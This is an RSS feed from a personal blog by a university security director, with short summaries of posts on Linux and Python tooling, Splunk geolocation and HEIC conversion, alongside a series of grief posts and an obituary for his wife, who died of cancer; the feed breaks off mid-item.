<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Jason Murray</title>
    <link>https://jasonmurray.org/</link>
    <description>Recent content on Jason Murray</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <lastBuildDate>Sun, 15 Feb 2026 14:13:26 -0600</lastBuildDate>
    <atom:link href="https://jasonmurray.org/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Process Resource Tracker</title>
      <link>https://jasonmurray.org/posts/2026/resource-tracker/</link>
      <pubDate>Sun, 15 Feb 2026 14:13:26 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2026/resource-tracker/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;When troubleshooting Linux services, I kept running into the same issue: I could inspect a single process, but there wasn’t a clean way to track that process plus all children and sub-children over time in one focused workflow.&lt;/p&gt;&#xA;&lt;p&gt;That gap is what this project is built to solve.&lt;/p&gt;&#xA;&lt;p&gt;GitHub: &lt;a href=&#34;https://github.com/0xJasonMurray/process-resource-tracker&#34;&gt;https://github.com/0xJasonMurray/process-resource-tracker&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-details&#34;&gt;The Details&lt;/h2&gt;&#xA;&lt;p&gt;Existing tools are useful, but incomplete for this use case:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;top&lt;/code&gt; / &lt;code&gt;htop&lt;/code&gt;: strong live visibility, weak historical context&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ps&lt;/code&gt;: static snapshots&lt;/li&gt;&#xA;&lt;li&gt;broader observability tools: often too coarse or too heavy for quick process-tree analysis&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;What was missing was simple, service-scoped tracking that follows the full process family and summarizes behavior over time.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using uv to manage pyton projects</title>
      <link>https://jasonmurray.org/posts/2026/uv/</link>
      <pubDate>Sun, 01 Feb 2026 20:54:57 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2026/uv/</guid>
      <description>&lt;p&gt;Using &lt;code&gt;uv&lt;/code&gt; (&lt;a href=&#34;https://docs.astral.sh/uv/&#34;&gt;https://docs.astral.sh/uv/&lt;/a&gt;) to create and manage python projects, code bases, and virtual environments:&lt;/p&gt;&#xA;&lt;p&gt;Install &lt;code&gt;uv&lt;/code&gt; software on a mac:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install uv&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Creating the first project:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;uv init uvdemoproject&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Output:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Initialized project `uvdemoproject` at `/Users/jemurray/Documents/src/personalPython/uvdemoproject`&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Edit code:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cd uvdemoproject&#xA;vi ./main.py&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Execute code:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;uv run ./main.py&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Output:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@freelightbulbs uvdemoproject % uv run ./main.py &#xA;Using CPython 3.13.7 interpreter at: /opt/homebrew/opt/python@3.13/bin/python3.13&#xA;Creating virtual environment at: .venv&#xA;Hello from uvdemoproject!&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Add external libraries to a project:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;uv add &amp;#34;mcp[cli]&amp;#34;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Output:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Webserver Upgraded to Debian 13</title>
      <link>https://jasonmurray.org/posts/2025/debian13/</link>
      <pubDate>Tue, 16 Dec 2025 16:39:49 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2025/debian13/</guid>
      <description>&lt;p&gt;It was finally time to upgrade the old Debian 10 webserver to something more modern.  This time I wanted to keep everything as stock and simple as possible.&lt;/p&gt;&#xA;&lt;p&gt;I created a new Digital Ocean dropplet and enabled IPv6.&lt;/p&gt;&#xA;&lt;p&gt;Logged into the new system:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ssh jasonmurray.org&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Make sure the system is up to date:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt upgrade &amp;amp;&amp;amp; sudo reboot&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Enabled IPv6:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo vi /etc/netplan/50-cloud-init.yaml&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Adding the following lines to enable IPv6:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Why the Scientific Method Matters</title>
      <link>https://jasonmurray.org/posts/2025/scientificmethod/</link>
      <pubDate>Sat, 06 Sep 2025 15:44:04 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2025/scientificmethod/</guid>
      <description>&lt;p&gt;The problem:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gut feelings and assumptions often fool us.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The fix:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The scientific method gives us a repeatable way to test ideas, find truth, and avoid bias.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;How:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ask: Start with a clear question.&lt;/li&gt;&#xA;&lt;li&gt;Guess: Make a testable prediction.&lt;/li&gt;&#xA;&lt;li&gt;Test: Run a fair experiment.&lt;/li&gt;&#xA;&lt;li&gt;See: Gather and measure results.&lt;/li&gt;&#xA;&lt;li&gt;Decide: Compare results to your guess.&lt;/li&gt;&#xA;&lt;li&gt;Share: Tell others what you learned.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The value:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Clarity: Turns curiosity into answers.&lt;/li&gt;&#xA;&lt;li&gt;Trust: Builds evidence, not opinion.&lt;/li&gt;&#xA;&lt;li&gt;Progress: Fuels discoveries from vaccines to smartphones.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Bottom line:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Short Bio</title>
      <link>https://jasonmurray.org/pages/bio/</link>
      <pubDate>Tue, 05 Aug 2025 22:33:56 -0500</pubDate>
      <guid>https://jasonmurray.org/pages/bio/</guid>
      <description>&lt;p&gt;Jason Murray is the Senior Director of Information Security at Washington University in St. Louis, where he leads a team focused on keeping the university’s digital environment secure. His group brings together incident response, vulnerability management, ethical hacking, and security engineering.&lt;/p&gt;&#xA;&lt;p&gt;With more than 30 years of experience in IT and cybersecurity, Jason has spent his career designing and maintaining complex systems in startup companies, Internet service providers, higher education and healthcare. At WashU, he’s focused on building strong security foundations while also helping the university adapt to new challenges — whether that’s implementing automation, streamlining detection and response, or partnering with teams across campus to make smart, secure choices.&lt;/p&gt;</description>
    </item>
    <item>
      <title>I&#39;m Sorry</title>
      <link>https://jasonmurray.org/posts/2025/imsorry/</link>
      <pubDate>Tue, 05 Aug 2025 22:02:27 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2025/imsorry/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m truly sorry for the behavior of the American President Donald Trump. Myself and the majority of American&amp;rsquo;s didn&amp;rsquo;t vote for him nor do we support him.&lt;/p&gt;&#xA;&lt;p&gt;I would like to apologize on behalf of all Americans who believe in a kinder world.&lt;/p&gt;&#xA;&lt;p&gt;This is not it.&lt;/p&gt;&#xA;&lt;p&gt;We don&amp;rsquo;t support Donald Trump.&lt;/p&gt;</description>
    </item>
    <item>
      <title>What am I doing right NOW?</title>
      <link>https://jasonmurray.org/now/</link>
      <pubDate>Tue, 05 Aug 2025 13:15:38 -0600</pubDate>
      <guid>https://jasonmurray.org/now/</guid>
      <description>&lt;h1 id=&#34;last-updated-aug-8-2025&#34;&gt;Last Updated: Aug 8, 2025&lt;/h1&gt;&#xA;&lt;h1 id=&#34;family&#34;&gt;Family&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Supporting my kids as they pursue their studies in college.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;personal-life&#34;&gt;Personal Life&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Living in city.&lt;/li&gt;&#xA;&lt;li&gt;Exploring the world.&lt;/li&gt;&#xA;&lt;li&gt;Finding my people.&lt;/li&gt;&#xA;&lt;li&gt;Creating new experiences.&lt;/li&gt;&#xA;&lt;li&gt;Loving Life.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;work&#34;&gt;Work&lt;/h1&gt;&#xA;&lt;p&gt;I am the Senior Director of Incident Response, Vulnerability Management, Ethical Hacking, and Security Engineering at &lt;a href=&#34;https://washu.edu/&#34;&gt;Washington University in St. Louis&lt;/a&gt;. I lead a team of talented Security Analysts and Engineers to defend the university from cyber security villains!&lt;/p&gt;</description>
    </item>
    <item>
      <title>Facebook</title>
      <link>https://jasonmurray.org/posts/2025/delete-facebook/</link>
      <pubDate>Wed, 02 Jul 2025 00:28:00 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2025/delete-facebook/</guid>
      <description>&lt;p&gt;I deactivated Facebook.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Contact Information</title>
      <link>https://jasonmurray.org/pages/contact/</link>
      <pubDate>Tue, 18 Feb 2025 18:05:35 -0500</pubDate>
      <guid>https://jasonmurray.org/pages/contact/</guid>
      <description>&lt;p&gt;Jason Murray can be reached at the following locations.&lt;/p&gt;&#xA;&lt;h2 id=&#34;email&#34;&gt;Email&lt;/h2&gt;&#xA;&lt;p&gt;For asynchronous communication, please use the email address:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;mailto:web2025@zweck.net&#34;&gt;web2025@zweck.net&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;social&#34;&gt;Social&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I&amp;rsquo;ve stopped using all social media due to the impact it has on people&amp;rsquo;s social wellbeing. Send me an email if you don&amp;rsquo;t have my phone/text number.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;secure-communication&#34;&gt;Secure Communication&lt;/h2&gt;&#xA;&lt;p&gt;Use the following &lt;a href=&#34;https://jasonmurray.org/pgp.txt&#34;&gt;PGP key&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----&#xA;Comment: https://jasonmurray.org/&#xA;&#xA;mDMEaUG2IBYJKwYBBAHaRw8BAQdAU8N/j03+oOhfxaP7c0pG0rfA3NK5L4VnUfJ0&#xA;5wdZ29W0N0phc29uIE11cnJheSAoaHR0cHM6Ly9qYXNvbm11cnJheS5vcmcvKSA8&#xA;cGdwQHp3ZWNrLm5ldD6ImQQTFgoAQRYhBAIBXvgZaNNLrnh4xgmEbPMNMSZVBQJp&#xA;QbYgAhsDBQkB4TOABQsJCAcCAiICBhUKCQgLAgQWAgMBAh4HAheAAAoJEAmEbPMN&#xA;MSZVaegBAL02f/xjpb6z+nkhzQLGmsutboeKCN/57FQqxzV0oan6APsGiwVUVXU1&#xA;5AV33IcXzWUxxHJzR7CU6si9zKbP0eMCDbg4BGlBtiASCisGAQQBl1UBBQEBB0Dy&#xA;m9CFwopWs/dHLyQhCo8aqDZB8HFZohE8nlFR/YoWMQMBCAeIfgQYFgoAJhYhBAIB&#xA;XvgZaNNLrnh4xgmEbPMNMSZVBQJpQbYgAhsMBQkB4TOAAAoJEAmEbPMNMSZVY3MB&#xA;AKXLumsBm8Ab7oVRGVzVUOrqqJ3jvyMxAzH6oA8VxoOMAP9IWM5Z7if48+b3Kli+&#xA;4/rqXKtFFAcFG9kncwO8CBDbAw==&#xA;=U9LC&#xA;-----END PGP PUBLIC KEY BLOCK-----&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>It&#39;s Hard to Write</title>
      <link>https://jasonmurray.org/posts/2024/itshard/</link>
      <pubDate>Sat, 30 Nov 2024 12:47:57 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2024/itshard/</guid>
      <description>&lt;p&gt;During the covid lockdown I challenged myself to write something every day. I thought it would be easy. I thought I would maintain a blog instead of social media like Facebook, X, etc.&lt;/p&gt;&#xA;&lt;p&gt;The reality&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Dedicating time to write is hard.  Using a content management system like Hugo is hard(er) since it requires intentionally getting out my laptop to do the writing.&lt;/p&gt;&#xA;&lt;p&gt;Someday, I hope to be disciplined enough to write more regularly.  Until then&amp;hellip;&lt;/p&gt;</description>
    </item>
    <item>
      <title>One Year Later: Dec 04, 2023</title>
      <link>https://jasonmurray.org/posts/2023/jami-dec4/</link>
      <pubDate>Mon, 04 Dec 2023 19:40:10 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2023/jami-dec4/</guid>
      <description>&lt;p&gt;One year ago today, our world completely changed. While laying in bed with my dog and a laptop, I look to my right and see the empty spot that Jami used to occupy.&lt;/p&gt;&#xA;&lt;p&gt;I’m am not filled with unbearable sadness, grief, or loss.  I am filled with happiness knowing that she helped build this family in a way that allows us to move forward. She said, “You will not use my death as an excuse for bad behavior or remaining stuck in the past”. She considered being a mother to be her greatest accomplishment.  She was right. It is evident by how far we’ve come in the past 12 months.&lt;/p&gt;</description>
    </item>
    <item>
      <title>One Year Later: Dec 03, 2023</title>
      <link>https://jasonmurray.org/posts/2023/jami-dec3/</link>
      <pubDate>Sun, 03 Dec 2023 19:40:10 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2023/jami-dec3/</guid>
      <description>&lt;p&gt;I was out with my friend Katie all day and night last night.  I didn&amp;rsquo;t get a chance to post my 12/2/2023 &amp;ldquo;What was happening a year ago today&amp;rdquo;.  When I looked at my journal this morning here is what I wrote from 12/2/2022:&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;Sorry I didn’t write anything today… I am filling in on the 3rd.&lt;/p&gt;&#xA;&lt;p&gt;I read a LOT of messages from Jami’s family and friends.  Wow, that is hard.  I loved it.  Hearing all the way Jami impacted the lives of so many people is inspiring. I asked family, friends, or anyone listening/reading to send me personal messages. I didn’t want to hear anymore “thinking of you” type messages. Tell me something with meaning. Tell me a story.  I know you’re thinking about us.&amp;rdquo;&lt;/p&gt;</description>
    </item>
    <item>
      <title>One Year Later: Dec 02, 2023</title>
      <link>https://jasonmurray.org/posts/2023/jami-dec2/</link>
      <pubDate>Sat, 02 Dec 2023 19:40:10 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2023/jami-dec2/</guid>
      <description>&lt;p&gt;I went out with Katie - I didn&amp;rsquo;t have time to post anything&amp;hellip;&lt;/p&gt;</description>
    </item>
    <item>
      <title>One Year Later: Dec 01, 2023</title>
      <link>https://jasonmurray.org/posts/2023/jami-dec1/</link>
      <pubDate>Fri, 01 Dec 2023 19:40:10 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2023/jami-dec1/</guid>
      <description>&lt;p&gt;One year ago today, this is the summary I posted to all of my family and friends:&lt;/p&gt;&#xA;&lt;p&gt;Cancer does not behave in ways we expect. Jami and I walked into the hospice care center on Tuesday afternoon. Although she was a bit unsteady and had a bad headache, she walked under her own power. Our goal was to get in, figure out the proper pain medications, and walk out. Our plans changed. The cancer is progressing fast. Much faster than I expected.&lt;/p&gt;</description>
    </item>
    <item>
      <title>One Year Later: Nov 30, 2023</title>
      <link>https://jasonmurray.org/posts/2023/jami-nov30/</link>
      <pubDate>Thu, 30 Nov 2023 19:40:10 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2023/jami-nov30/</guid>
      <description>&lt;p&gt;One year ago today I wrote in my journal… “I just want to hear her voice again”&lt;/p&gt;&#xA;&lt;p&gt;Jami does not wake up for more than 30 seconds. For the brief moment she is awake, it is not Jami. She will say a few random words, try to tell us she needs to get out of bed, and then falls right back asleep. She is on 4MG of morphine and a few anti-nausea drugs to keep her comfortable. All day I assumed the narcotics were the reason she was so out of it.  Late in the evening, I took one of the nurses aside to have a conversation about Jami’s progression. She told me, “Jami is sleeping, non-talking, lethargic, brain-foggy due to the progression of the disease”. This is the first time it really hit me that the disease is winning.  Up until this day, we’ve always been able to see a doctor to get some drugs or perform a surgery and go back home at some point.&lt;/p&gt;</description>
    </item>
    <item>
      <title>One Year Later: Nov 29, 2023</title>
      <link>https://jasonmurray.org/posts/2023/jami-nov29/</link>
      <pubDate>Wed, 29 Nov 2023 19:40:10 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2023/jami-nov29/</guid>
      <description>&lt;p&gt;One year ago today was the biggest turning point in my families lives!&lt;/p&gt;&#xA;&lt;p&gt;No matter what combination of drugs we gave Jami she could not make the pain and nausea go away.  We have now been up for days with her puking nearly every hour.  (Interesting fact: Over the past 24 hours, I clocked over 9000 steps walking in the house to care for Jami). Jami can&amp;rsquo;t take it anymore and I called hospice again to see what we can do.  They recommended we come into their facility in order to better administer drugs to get her pain and nausea under control.  When you are at home we can only use oral drugs which take time to metabolize and get into the blood stream, when you are at a facility they are going to inject them into a vein which has nearly instant results and makes it easier to quickly determine what is working and what does not.&lt;/p&gt;</description>
    </item>
    <item>
      <title>One Year Later: Nov 28, 2023</title>
      <link>https://jasonmurray.org/posts/2023/jami-nov28/</link>
      <pubDate>Tue, 28 Nov 2023 19:40:10 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2023/jami-nov28/</guid>
      <description>&lt;p&gt;Warning bad language as well as sad and raw topics in this post&amp;hellip; You may want to pass on reading my posts this week.&lt;/p&gt;&#xA;&lt;p&gt;It seemed fitting that I stay up way past my bed time to write this next post. Tonight I will be a bit sleep deprived, but it relates to the way I felt a year ago today.&lt;/p&gt;&#xA;&lt;p&gt;Jami (and by proxy myself) didn&amp;rsquo;t sleep for more then 1 hour that night (11/28/22). Every hour she would wake up and puke in a bucket. Every time she woke up we were balancing a cocktail of drugs from morphine, Tylenol, anti-nausea, and various others (see the photo of the notes I was taking - this is only one of many pages). No combination of medicine, back rubs, cool wash cloths, baths, were helping. She is puking so much, even the medicines didn&amp;rsquo;t have time to work before they are ejected. At this point I have been up for over 24 hours with no sleep, but I don&amp;rsquo;t feel tired, I&amp;rsquo;m just working to keep her comfortable.&lt;/p&gt;</description>
    </item>
    <item>
      <title>One Year Later: Nov 27, 2023</title>
      <link>https://jasonmurray.org/posts/2023/jami-nov27/</link>
      <pubDate>Mon, 27 Nov 2023 19:40:10 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2023/jami-nov27/</guid>
      <description>&lt;p&gt;If you don&amp;rsquo;t want to be sad, I suggest you don&amp;rsquo;t read my posts for the next week. I&amp;rsquo;m going to take you on a behind the scenes journey of taking care of someone with cancer in the last week of their lives.  Don&amp;rsquo;t worry, it won&amp;rsquo;t be too graphic, but this helps me share with the world (my friends) what this journey is like.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve journaled extensively since the day of her cancer diagnosis. I&amp;rsquo;ve been reading each entry for the past few weeks now. You may be asking why would you put yourself through that pain? I don&amp;rsquo;t see it as such, I see it as reflections on life.  Comparing myself back then with today. Also, I like to feel sad.  It helps me to know I am human and connect with the person I&amp;rsquo;ve loved for so many years. I put my sadness in a time-box.  When I want to be sad I turn it on, then when I am done, I turn it off and continue to more forward in my life.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using iplocate to geolocate IP addresses in Splunk.</title>
      <link>https://jasonmurray.org/posts/2023/ipsearch/</link>
      <pubDate>Thu, 15 Jun 2023 21:55:41 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2023/ipsearch/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Converting an IP address into a physical location can greatly enhance an Incident Responder&amp;rsquo;s decision-making process. It enables them to identify patterns or eliminate irrelevant data by focusing on specific countries. With the use of the &lt;code&gt;|iplocate&lt;/code&gt; command in Splunk, what was once considered a complex and specialized skill becomes a straightforward task.&lt;/p&gt;&#xA;&lt;h1 id=&#34;technical-details&#34;&gt;Technical Details&lt;/h1&gt;&#xA;&lt;p&gt;In this example, the Zeek connection data is enhanced by including the geolocated source IP address for each connection.&lt;/p&gt;</description>
    </item>
    <item>
      <title>How I Met Your Mother</title>
      <link>https://jasonmurray.org/posts/2023/howmother/</link>
      <pubDate>Sun, 12 Feb 2023 08:11:09 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2023/howmother/</guid>
      <description>&lt;p&gt;We met in February of 1996 through our mutual friend Andrea. At the time I was a junior at Saginaw Valley State University and working full time at Concentric Network as a Unix systems administrator. Jami attended the same college, but worked at the Home Depot. She had recently moved to Freeland from Alpena and lived with her parents.&lt;/p&gt;&#xA;&lt;p&gt;Andrea and I had been good friends since freshman year of high school. She had just started dating someone new, and I was interested in meeting this person. To avoid being a third wheel, Andrea set me up on a blind date with Jami, one of her co-workers from Home Depot.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Convert all HEIC images to jpeg with a single command</title>
      <link>https://jasonmurray.org/posts/2023/convert-all-heic/</link>
      <pubDate>Sat, 11 Feb 2023 09:58:06 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2023/convert-all-heic/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Too many services still do not support HEIC formatted images. Install ImageMagick and run this command to convert them all.&lt;/p&gt;&#xA;&lt;h1 id=&#34;technical-details&#34;&gt;Technical Details&lt;/h1&gt;&#xA;&lt;p&gt;Add this to your ~/.bash_profile so that we don&amp;rsquo;t have to memorize all the options:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;alias convertallheic=&amp;#39;for f in *.HEIC *.heic; do magick &amp;#34;$f&amp;#34; -quality 100% &amp;#34;$f.jpg&amp;#34;; done&amp;#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Source the file to load it. You don&amp;rsquo;t have to do this all the time, terminals will typically load aliases on startup:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Would have been our 24 year anniversary</title>
      <link>https://jasonmurray.org/posts/2022/24anniv/</link>
      <pubDate>Mon, 19 Dec 2022 21:45:34 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2022/24anniv/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2023-02-13-21-47-07.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2023-02-13-21-47-07.png&#34; alt=&#34;Image of Jason and Jami just married&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Today would have been our 24th wedding anniversary.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s not quite the same without you.&lt;/p&gt;&#xA;&lt;p&gt;We were young when we got married. I was 23, Jami was 21. We had a lot of friends who said that is too young and we would never make it. Well, we made it until &amp;ldquo;death do us part&amp;rdquo; - I would say that is &amp;ldquo;forever&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;We talked about marriage a few years after dating and spent a bit of time shopping for wedding rings together. Once I had a general idea of what she liked, I purchased the ring and proposed by candle light in her parents basement. I know&amp;hellip; Pretty romantic&amp;hellip; 🙂&lt;/p&gt;</description>
    </item>
    <item>
      <title>Open Letter from Jami: Bad Behavior Is Not an Option</title>
      <link>https://jasonmurray.org/posts/2022/bad-behavior-is-not-an-option/</link>
      <pubDate>Mon, 12 Dec 2022 17:53:41 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2022/bad-behavior-is-not-an-option/</guid>
      <description>&lt;p&gt;I asked Jami to talk with and write a letter to our kids that states, &amp;ldquo;Death is not an excuse for failure or bad behavior&amp;hellip;&amp;rdquo; - This is an excerpt from her journal:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Embrace your new life - say things like Mom would be proud, or Mom was funny, or Mom could be annoying when she bugged me about my friends, or Mom would not want me to do this, or what would Mom think? All of those thoughts are good&amp;hellip;be sad when I miss milestones like college move in, engagements, weddings, new jobs, breakups….you just CANNOT STAY THERE or use my loss as an EXCUSE for bad behavior. Get help. Acknowledge you may need some antidepressants or anti anxiety pills, or counseling, or a run or swim at the gym. YOU DO NOT HAVE MY PERMISSION TO USE MY DEATH AS AN EXCUSE FOR BAD BEHAVIOR and DECISION MAKING. No.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Jami&#39;s Obituary</title>
      <link>https://jasonmurray.org/posts/2022/jami-obituary/</link>
      <pubDate>Thu, 08 Dec 2022 13:58:33 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2022/jami-obituary/</guid>
      <description>&lt;h2 id=&#34;obituary&#34;&gt;Obituary&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2022-12-08-14-35-41.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2022-12-08-14-35-41.png&#34; alt=&#34;Image of picture of Jami Murray &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With heavy hearts, we announce the death of Jami Marie Murray, who&#xA;passed away from metastatic breast cancer. The day she finally freed&#xA;herself from cancer was the day Jesus welcomed her into heaven. She was&#xA;45 years old.&lt;/p&gt;&#xA;&lt;p&gt;Jami was born on October 17, 1977 and raised in Alpena, Michigan. She&#xA;credits her amazing parents, John and Karen, for her faithful, strong,&#xA;hard-working, and fiery personality. Although, some people say it could&#xA;be the red hair! She looked up to her sister, Nicky, and brother John&#xA;Andrew her entire life.&lt;/p&gt;</description>
    </item>
    <item>
      <title>The Final Update Until We Celebrate Life</title>
      <link>https://jasonmurray.org/posts/2022/jami-status-5.5/</link>
      <pubDate>Sun, 04 Dec 2022 22:25:00 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2022/jami-status-5.5/</guid>
      <description>&lt;p&gt;After 24 years of marriage, two amazing kids, and more memories than we can count&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Jami passed away on December 4, 2022 at 10:25PM&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2022-12-05-02-07-57.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2022-12-05-02-07-57.png&#34; alt=&#34;Image of The Murray Family&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>How&#39;s Jami Doing: Daily Update - Issue #5 - 12/4/2022</title>
      <link>https://jasonmurray.org/posts/2022/jami-status-5/</link>
      <pubDate>Sun, 04 Dec 2022 16:04:45 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2022/jami-status-5/</guid>
      <description>&lt;p&gt;Today&amp;rsquo;s update is coming out early because I don&amp;rsquo;t know how much more time we have left.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;How&amp;rsquo;s Jami Doing&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Jami continues to decline quickly.&lt;/li&gt;&#xA;&lt;li&gt;We are probably in the hours to days time range.&lt;/li&gt;&#xA;&lt;li&gt;She is not moving anymore.&lt;/li&gt;&#xA;&lt;li&gt;Fluid is building up in her lungs, but it is manageable.&lt;/li&gt;&#xA;&lt;li&gt;Early this morning her breathing was labored and heavy.&lt;/li&gt;&#xA;&lt;li&gt;This afternoon her breathing less labored, but still heavy.&lt;/li&gt;&#xA;&lt;li&gt;She is comfortable.&lt;/li&gt;&#xA;&lt;li&gt;She is relaxed.&lt;/li&gt;&#xA;&lt;li&gt;She is surrounded by family and friends both physically and in spirit.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hospice&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>How&#39;s Jami Doing: Daily Update - Issue #4 - 12/3/2022</title>
      <link>https://jasonmurray.org/posts/2022/jami-status-4/</link>
      <pubDate>Sat, 03 Dec 2022 21:50:41 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2022/jami-status-4/</guid>
